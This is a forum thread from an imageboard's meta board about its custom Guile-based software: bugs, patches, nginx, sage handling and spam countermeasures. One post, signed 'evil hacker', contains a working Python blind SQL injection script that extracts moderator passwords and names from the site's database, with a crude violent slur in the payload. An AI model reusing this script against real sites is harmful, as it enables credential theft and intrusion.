There are templates in the project but they don't get used at all. This is a bit confusing. I don't understand why you would want to programmatically generate HTML instead of insert values into templates.

I added it in a big ugly X that hides it but keeping across sessions is going to be startup javascript so going to see about this tomorrow.
156 Anonymous 2020-03-16T02:14:07
i'll also be moving it to the right like it's a close button on a window
157 Anonymous 2020-03-16T05:30:13
Inserting into the actual .tpl file templates was very slow. Loading the front page of a full board (15 threads on it) would take a full 3-5 seconds.
I don't know if there was just something wrong with the way I was implementing it, or something in the engine or what.
But once I switched to the SXML templates it was lightning fast.
158 Anonymous 2020-03-16T06:26:50
I wonder if it was too abstracted and was doing file io, loading the templates into memory and dumping it for every operation.
159 Anonymous 2020-03-16T17:43:47
Now that I know about it it's better. I'll probably remove/store them since that's the way things have been established to work. I just wonder if this or the remaining workable .tpl files is causing the remainder of the memory leaks.

The javascript for example would end up being regenerated every time someone new makes a request I'd think... I'll have to test that
160 Anonymous 2020-03-16T20:47:50
Thread hiding added. My sample tests didn't show any startup slowdown.
161 V 2020-04-10T20:15:27 [ImgOps] [iqdb]
File: wokZdXRcuiOdslzXf8ufBIeg4QenFk… (PNG, 77.92KB, 500x90)
Anyone have any idea how despite not having logged into the server for a week the line:

## Whether to use Linux specified sendfile interface.
## server.sendfile = <boolean>
server.sendfile = true

Was causing the system to reach 100% CPU usage when trying to serve a single image file?
Anonymous 2020-04-10T20:19:56
Albeit the server restarts regularly so maybe something automatic happened but idk what
V 2020-04-10T20:16:30
This being in the config file at conf/artanis.conf
162 Anonymous 2020-04-10T20:30:09 [ImgOps] [iqdb]
File: Screenshot at 16-29-18.png (PNG, 98.13KB, 856x414)
what did it do behind my back to sendfile
163 Anonymous 2020-04-16T07:24:23
Verniy, would you consider adding a page that lists all threads that are about to be deleted, as well as add some simple way to download archives of threads? It would be nice if there was some easy way of keeping archives. Also, do you by any chance have a full list of every thread that has been deleted so far?
164 Verniy 2020-04-16T10:36:30
Yes so long as I can do it without altering 4tabas posting core. It won't be part of kotatsu but a stand off application on same domain, 4taba, in either Ruby or GoLang that uses the DB and files. Likely Ruby since I plan on making a modification to Kissu using that in the long future and I replace Vichan's front end
165 Anonymous 2020-04-16T10:38:25
after I replace*

I believe they're removed from the DB so no list. Tabamin didn't make archive db i think
166 Anonymous 2020-04-16T23:43:35
Just to clarify you want a way to download compressed threads and a variant on /all/ which shows soon to expire threads?

so my current set of tasks here are:
- /f/ stuff
- archival stuff
167 Anonymous 2020-04-19T22:31:22
Would there any objection if I were to merge 4taba and kissu's /f/ into the same storage location yet still be retrieved on separate sites? 4taba would get additional post rates on /f/, kissu gets a better software for handling html5
Anonymous 2020-04-21T04:50:55
Would we be seeing kissu replies to flashes on here? I'd rather keep the two sites completely separate, but who knows what others have to say.
168 Anonymous 2020-04-22T02:56:51
Seems like file uploads are completely broken right now.

169 Anonymous 2020-04-22T09:27:47
was just thinking of shared content different replies. Kotatsu is the best imageboard software for handling runnable files.

I was trying to fix the /ho/ link but I guess it ended up breaking other things.
It's on the server but it's Artanis built in methods aren't serving it. Nothing to do with regex patterns or something simple.
170 Anonymous 2020-04-23T02:50:54
I'm going to try and serve media content entirely through NGINX rules instead of relying on Artanis.
171 Anonymous 2020-04-23T08:49:28 [ImgOps] [iqdb]
File: 1587501900172.html (text/html, 420.25KB, #f)
Alright, statics being served through nginx, should have done it this way from the beginning. should get past all of the memory consumption issue since it was related to static serves.

I'd think there's an easy way to force extensions since kotatsu doesn't want to serve these blanks...
172 Anonymous 2020-04-23T08:54:38
173 Anonymous 2020-05-23T09:07:19
I need some exercises to teach myself golang for an API server so I'll do everything you said with a side service when I finish my first part of my image-board software.

Also mod tools need work and will do something similar
174 Anonymous 2020-05-23T14:29:32
I see our former Taba-tan has actually been active. I wish he would still check his old 4taba email.
175 sage 2020-05-23T18:52:47
>>174 I haven't gotten any new emails though. I do still check it.
Unless you mean the protonmail one, I don't check that anymore (I just looked though and still didn't see anything that didn't look like spam).
But the new address is airmail.cc.
176 Anonymous 2020-05-27T14:24:57
See I was using the @cock.li one as I always did back then.
177 Anonymous 2020-05-28T14:05:53
Actually yeah that's right, I meant cock.li, sorry. But I haven't gotten any recent emails that I didn't respond to.
The last email I got that wasn't spam was titled "memories", and I replied to it but haven't gotten a response back yet.
178 Anonymous 2020-05-28T20:37:39
Well I'll be. Your reply email is totally absent from my inbox. This is a little frustrating; I shall have to try again with my airmail.cc address this time.
179 Anonymous 2020-05-29T01:04:36
I'll try sending it again from neomutt, which I know I have working. I may have used claws-mail to send that one and might not have set it up right.
180 Anonymous 2020-05-29T02:42:25
>>178 >>179
Sent. Hopefully it goes through this time.
181 Anonymous 2020-05-30T18:33:00
How many anons are using 4taba2.net versus 4taba.net?
182 Anonymous 2020-05-30T22:29:23
>>181 I only ever use the 4taba2 domain
183 Anonymous 2020-05-31T17:13:03
I replied.
I use 4taba.net.
184 Anonymous 2020-08-04T06:13:34 [ImgOps] [iqdb]
File: 15173d44972c535b74b400841fe727… (JPEG, 48.23KB, 506x800)
The certificate for 4taba.net has expired.
185 Anonymous 2020-08-04T06:59:55
186 Anonymous 2020-08-13T20:29:36
What's the password field is for? It does not seem to be used for post deletion.
189 Anonymous 2020-08-13T20:44:59
190 Anonymous 2020-08-13T20:47:27
gives me a 500 error.
I can focus on these issues in a day or three.
191 Anonymous 2020-08-16T03:15:31
Perhaps it was never finished. And now that the site uses javascript it might even be a good idea to auto-generate one like other imageboards do.
192 Anonymous 2020-09-07T06:22:20
seems like I can't sage my posts today
193 Anonymous 2020-09-07T07:40:29
I don't have the ability to monitor every board on the site, so it's for the better if this doesn't exist else someone dump CP on a random board without anyone knowing, then reporting it to either registrar or server host.
194 Anonymous 2020-09-07T17:39:28
I think the ImgOps link next to images is broken.
195 Anonymous 2020-09-07T19:51:24
added the conf property it used, but waiting until my other server is not in downtime until I'll restart this one
196 Anonymous 2020-09-08T01:18:32
That's tended to but the title also has a #f that I guess uses a different variable than that of the imageops
197 Anonymous 2020-09-19T09:06:40
Is there any chance of all the old, pre-update css getting added back sometime in the future? I'm sure there's still a copy of it floating around on archive.org or github.
Something about it was more comfy.
198 Anonymous 2020-09-19T10:33:36
was this before he switched to a Guile website?
199 Anonymous 2020-09-20T15:43:18
yeah, the css from the original software
200 Anonymous 2020-09-23T01:00:41
https://web.archive.org/web/20170525114937/http://4taba.net/ this or later?
201 Anonymous 2020-10-04T00:20:07
Little strange how SWF files get their own pages like the weird HTML thing. Is there reasoning behind this? It just adds an extra step to loading the file through my flash player, and it shouldn't change anything for people who use flash through their web browser anyway.
202 Anonymous 2020-10-05T00:46:10
dev might know, but it adds the bar on the top for downloads and file info
203 evil hacker 2021-01-29T15:36:07 [ImgOps] [iqdb]
File: tabarapedN.webm (WEBM, 6.03MB, 150x73)
For historical reference.

import requests
import urllib.parse
import sys

targetlen = 20
sofar = ''
field = 'password'

targetlen = 5
sofar = ''
field = 'name'

siteprefix = 'http://irc.4taba.net/board/';
template = "' UNION SELECT * FROM threads LIMIT (CASE WHEN ((SELECT COUNT(*) FROM mods WHERE substr({{{FIELD}}}, {{{INDEX}}} + 1, 1) = char({{{GUESS}}})) = 0) THEN 1 ELSE -1 END) -- rape"

guesses = str.join('', [chr(c) for c in range(32, 127)])

def attemptSlotChar(guess):
url = template
url = url.replace('{{{FIELD}}}', field)
url = url.replace('{{{INDEX}}}', str(len(sofar)))
url = url.replace('{{{GUESS}}}', str(ord(guess)))
url = siteprefix + urllib.parse.quote(url, safe='')
r = requests.get(url)
if r.status_code == 500:
print(f' GOOD: {sofar}{guess}')
return True
elif r.status_code == 200:
print(f'FAILED: {sofar}{guess}')
return False
print(f' %3d: {sofar}{guess}' % (r.status_code))
return False

while len(sofar) != targetlen:
for guess in guesses:
if not attemptSlotChar(guess): continue
sofar += guess

print(f'FINAL RESULT: {sofar}')
204 evil hacker 2021-01-29T15:43:50
sage didn't work...
205 Anonymous 2021-02-28T23:40:26
You are using get-image-dimensions on the fullthumb on the "((FLAC M4A MKV MP3 MP4 OCTET OGG WAV WMA WEBM) ; Audio/Video/Octet-streams" branch
instead of get-video-dimensions on the fullpath.
As a result video posts show the thumbnail dimensions instead of the video dimensions.
> 150x113

206 Anonymous 2021-03-01T10:56:36

scheme@(guile-user)> (use-modules (srfi srfi-1))
scheme@(guile-user)> (define options (string-split "nonoko sage" #\space))
scheme@(guile-user)> options
$1 = ("nonoko" "sage")
scheme@(guile-user)> (define sage (lset-intersection equal? '("sage" "SAGE" "さ げ" "下げ") options))
scheme@(guile-user)> sage
$2 = ("sage")
scheme@(guile-user)> (define nokosage (member "nokosage" options))
scheme@(guile-user)> nokosage
$3 = #f
scheme@(guile-user)> (define sage-dbarg (or nokosage sage))
scheme@(guile-user)> sage-dbarg
$4 = ("sage")
scheme@(guile-user)> (define name "Anonymous")
scheme@(guile-user)> (define sage sage-dbarg)
scheme@(guile-user)> (if (or (not sage)
(null? sage)
(equal? (car sage) "nokosage"))
(format #f "<a class=''sage'' href=''mailto:~a''>~a</a>" (car sage) name))
$5 = "<a class=''sage'' href=''mailto:sage''>Anonymous</a>"

207 Anonymous 2021-03-03T00:06:26
4taba has sage, but it's much easier to leave it disabled because I only spend 10 minutes a day here.

Along with how there's no report functionality, means that it's safest to leave subposts as the sage-like posting method.
V 2021-03-03T00:10:52
Another thing to consider is that 4taba with sage would mean that the site would look exceptionally inactive and not having it gives the site a bit more life, while taking away from the archive like nature that present 4taba has.
V 2021-03-03T00:06:47
Signed Verniy
208 Anonymous 2021-03-03T10:57:31
So the code running on the site is not the one on github?
209 Anonymous 2021-03-03T16:13:44
we'll see
210 Anonymous 2021-03-03T16:27:31
The thing is that the code is not made to further kotatsu as a project but meet the issue of easier moderation. I suppose if this is a concern I can make another repo for 4taba and one for kotatsu..

211 Anonymous 2021-03-03T20:42:52
> to further kotatsu as a project

You can also further kotatsu with this fix: >>205
212 Anonymous 2021-03-03T23:40:04
I'll look at what you're suggesting. I'm updating a bunch of bio stuff right now, but I've hit a good milestone on kissu to fix some issues here.

I branched off the difference between what's ideally runable and my modifications for taba.
213 Anonymous 2021-03-04T00:20:44
Since you already have
> (define-public noko-enabled #f)

in settings.scm why not add a sage-enabled and control sage/nokosage in save-post with a conditional:
(sage (if sage-enabled (lset-intersection equal? '("sage" "SAGE" "さげ" "下げ") options) '()))

and similarly for nokosage. Also note that the negative return of member is #f rather than '().

And you have
> (define-public greeting "Shitaba Ni Yokouso<br/>")

in settings.scm
but the word is Youkoso (ようこそ). Your u is misplaced.
214 Anonymous 2021-04-01T20:17:12
Did you remove sage?
215 Anonymous 2021-04-06T23:27:53
216 Anonymous 2021-08-25T10:13:10 [ImgOps] [iqdb]
File: iqdb-patch.txt (text/x-diff, 1.63KB, #f)
Here's a patch that adds iqdb links next to ImgOps links.
217 Anonymous 2021-08-25T18:27:29
I'll review it today and add it
218 Anonymous 2021-08-25T20:17:36
219 Anonymous 2021-08-26T09:41:26 [ImgOps] [iqdb]
File: 9530446a342042bfed1a439101e60f… (JPEG, 1.57MB, 3532x5000)
>>217 >>218
Thanks for adding.
220 Anonymous 2021-09-29T10:17:12
Doesn't the imgops link already have iqdb in it?
221 Anonymous 2021-10-01T09:38:47
+ The separate iqdb link uses the thumbnail so you don't have to wait for the full image to transfer like for imgops when all you want is reverse lookup.
+ The iqdb link inside imgops is in a place that is not immediately obvious to those who don't regularly use imgops, and it takes a second or two to scan for it, so the separate iqdb link provides convenience of access. To me the convenience of access was high enough to justify putting in the time to write and submit the patch.
222 Anonymous 2021-10-20T20:54:05
test #2
Anonymous 2021-10-20T20:55:51
Anonymous 2021-10-20T20:51:28
223 Anonymous 2021-10-20T21:00:33
> subpost creation before post exists
> 20:51:28 test

> 20:54:05 test #2

> 20:55:51 subtest

much keks
224 Anonymous 2021-10-21T01:00:39
predictive posting
225 Anonymous 2021-10-21T09:43:56
It's the lack of a check for (string->number (car subpost)) throughout save-post in imageboard.scm.
226 Anonymous 2021-10-22T01:44:04
It's not a bug. It's a feature
227 Anonymous 2021-10-31T12:30:53 [ImgOps] [iqdb]
File: image.png (PNG, 632.32KB, 1059x2500)
A copy of thread 2 on the meta index sporting the title of thread 92.
228 Anonymous 2021-12-23T12:41:21 [ImgOps] [iqdb]
File: catalog-link-patch.txt (text/x-diff, 2.23KB, #f)
I can't go directly to the catalog from a thread because there's no link, so I have to go through the board index every time. Here's a patch that adds a [Catalog] link to templates.scm:thread-tpl next to the [Return] link, using the same let approach as board-tpl. The custom order you had in thread-tpl between mod-bar-tpl and [Return] wasn't touched.
229 Anonymous 2021-12-23T18:33:49
won''t add it today or tomorrow, but I'll put it in.

Also remember that 4taba2 expires today and there will only be 4taba.net
230 Anonymous 2022-01-02T06:55:30
thanks, done
231 Anonymous 2022-01-02T10:57:01 [ImgOps] [iqdb]
File: e4444d2bec6dec2d45bdf60346229a… (JPEG, 10.35MB, 3900x6500)
Anonymous 2022-01-02T17:10:49
Why is this image so blurry despite weighting 10 whole megabytes?
232 Anonymous 2022-01-06T20:08:57
I'm performing backups to eventually do a server reinstall. I'll give some heads up so the site isn't down unexpectedly.
Anonymous 2022-01-07T09:10:20
Site updates through email would give some greater visibility, I think
233 Anonymous 2022-01-11T07:18:02
Tons of text turned into question marks.
235 Anonymous 2022-01-11T07:31:09
backup is also before what I wanted. Did a backup before I wiped, but someone uploaded something that was tripping my antivirus causing me issues. Should have checked the filedates.

The ???? aren't due to corruption
just language pack issues. I want to finish off enabling the last two services and then I'll correct it. ?
236 Anonymous 2022-01-11T13:24:09
think i had this issue two years back when I first set up the server. Unicode works perfectly fine on everything else but Guile or Artanis is getting confused.

It may be the Guile database interface since the ???????? title at the top of the page renders fine. Suggesting that it's either the thing getting the information for templates rather than the templates themselves.
239 Anonymous 2022-01-11T16:54:28
I give up on getting this to work with sqlite. I'm migrating the data to mysql
240 Anonymous 2022-01-11T17:36:23
Nevermind, I got it. I seem to have remembered how I fixed it somewhat subconciously
241 Anonymous 2022-01-11T17:37:49
I guess I'll add to the github that these steps will probably need to be followed on an ubuntu server installation
242 Anonymous 2022-01-12T20:42:06
I have a messure to account for the 500 errors that got removed on reinstall
243 Anonymous 2022-01-27T10:26:19 [ImgOps] [iqdb]
File: taba-board-link-patch.txt (text/x-diff, 1.09KB, #f)
The current "Board link" lambda of imageboard.scm:comment-filter
has at least these problems: >>>/test/48/26
+ the board name part will run over spaces and linefeeds due to "[^/]+"
+ the extra character at the end will be pulled inside the link text, breaking up html entities like &quot;
+ the behavior at the end of the string is inconsistent due to the unconditional "(- (string-length (match:substring m)) 1)" in the let*

Here's a patch that fixes these issues:
+ the board name part no longer accepts spaces and linefeeds
+ the extra character at the end goes after the closing tag where it belongs, preserving html entities
+ the behavior at the end of the string is made consistent using match:substring 1

Tests to verify the change are attached to the next post. I also think that code segments should be exempt from things like link markup, but fixing that would be a lot more work.
244 Anonymous 2022-01-27T10:29:35 [ImgOps] [iqdb]
File: taba-board-link-test.txt (text/html, 1.26KB, #f)
Here are the tests:
1. the old way runs over spaces and breaks html entities
2. the fix preserves html entities by placing the extra character at the end correctly after the closing tag
3. the fix doesn't accept spaces
4. the fix works consistently at the end of the string
245 Anonymous 2022-01-29T10:02:35
that's a strange oversight
>has at least these problems

248 Anonymous 2022-02-13T07:25:46
>>244 >>243
ok, this is on my agenda now
I have to reinstall linux though
249 Anonymous 2022-02-15T02:12:02

Site has also been updated to use Guile 3.0.5, DBI 2.1.8, Artanis 0.5.1 which have a few breaking changes.
Most notably the database insertion doesn't seem to work the same way anymore. Guile related.
Ports seemed to be getting appended to POST operations due to uri-path now not actually being the uri-path anymore(it was never actually a uri path anyways?). Artanis related.
URLs for image files changed to remove /pub/. Should have been like this in the first place.
Otherwise unimportant.
Anonymous 2022-02-15T02:12:46
So, since the software has been updated there may be a few 500 errors around that I haven't seen.
250 Anonymous 2022-02-15T12:36:22 [ImgOps] [iqdb]
File: notimage-test-patch.txt (text/x-diff, 3.07KB, #f)


Since your post has iqdb with no image I think the thumb test in templates.scm:iqdb-tpl needs the same new test as imgops-tpl. Since the test changed several times, it might as well be factored out so it can be controlled from one place.

As a bit of trivia, you made all your static png, html and similar files executable; just making sure you're aware.
253 Anonymous 2022-02-15T20:58:04
Have to switch it back on the repository. it's 664 on the live. Yes, posts without files are no longer being given a boolean from the DB writter, and I'm not motivated read into why this is so I'm writting null strings instead of #f
254 Anonymous 2022-02-15T23:08:35
Also archive.4taba seems to be having some issues. Could have been in January or yesterday. I'll see about fixing it tonight.
Anonymous 2022-02-16T00:44:13
was nginx configuration
255 Anonymous 2022-02-17T11:55:26 [ImgOps] [iqdb]
File: video-size-patch.txt (text/x-diff, 873.0B, #f)
You're getting thumbnail dimensions in >>>/test/39/38 due to >>205.
256 Anonymous 2022-04-28T03:50:41 [ImgOps] [iqdb]
File: boardlist-catalogs-patch.txt (text/x-diff, 775.0B, #f)
I find myself wanting to switch to another listed board's catalog, but I keep having to go through the board's index page first, or having to edit the board name in the address bar, which gets tedious. It would be more convenient for me if the board list provided catalog links as well.

Here's a patch to add unobtrusive catalog links to div#top-nav, in addition to the existing index links.
257 Anonymous 2022-04-28T15:58:27 [ImgOps] [iqdb]
File: fa140cbe35ca9eb573f8a6c2bf999d… (JPEG, 281.45KB, 804x850)
Can something be done about the spam please?
258 Anonymous 2022-04-28T18:49:45
I can try two things. As long as it doesn't pile up though.

Doesn't look too obtrusive
259 Anonymous 2022-05-02T10:24:29
cloudflare's maximum settings reduce the spam from 10 hits per day to 3
260 Anonymous 2022-05-03T09:51:16
Now lets see what happens with cloudflare set to "essentially off"
261 Anonymous 2022-05-04T01:21:58
Looks like cloudflare has a massive impact on simple spam bots. Alternative solution will require false post fields
262 Anonymous 2022-06-23T23:19:32 [ImgOps] [iqdb]
File: bait-fields-patch.txt (text/x-diff, 3.56KB, #f)
Here's the quick hack version of post form bait fields for spambots, to avoid having to play a never-ending regex game with raw-comment. For now the bait fields are hardcoded. I put the display:none rule into GENERIC.scm so you'll have to rebuild the stylesheets. Enjoy.

[Return] [Catalog]
Delete Post: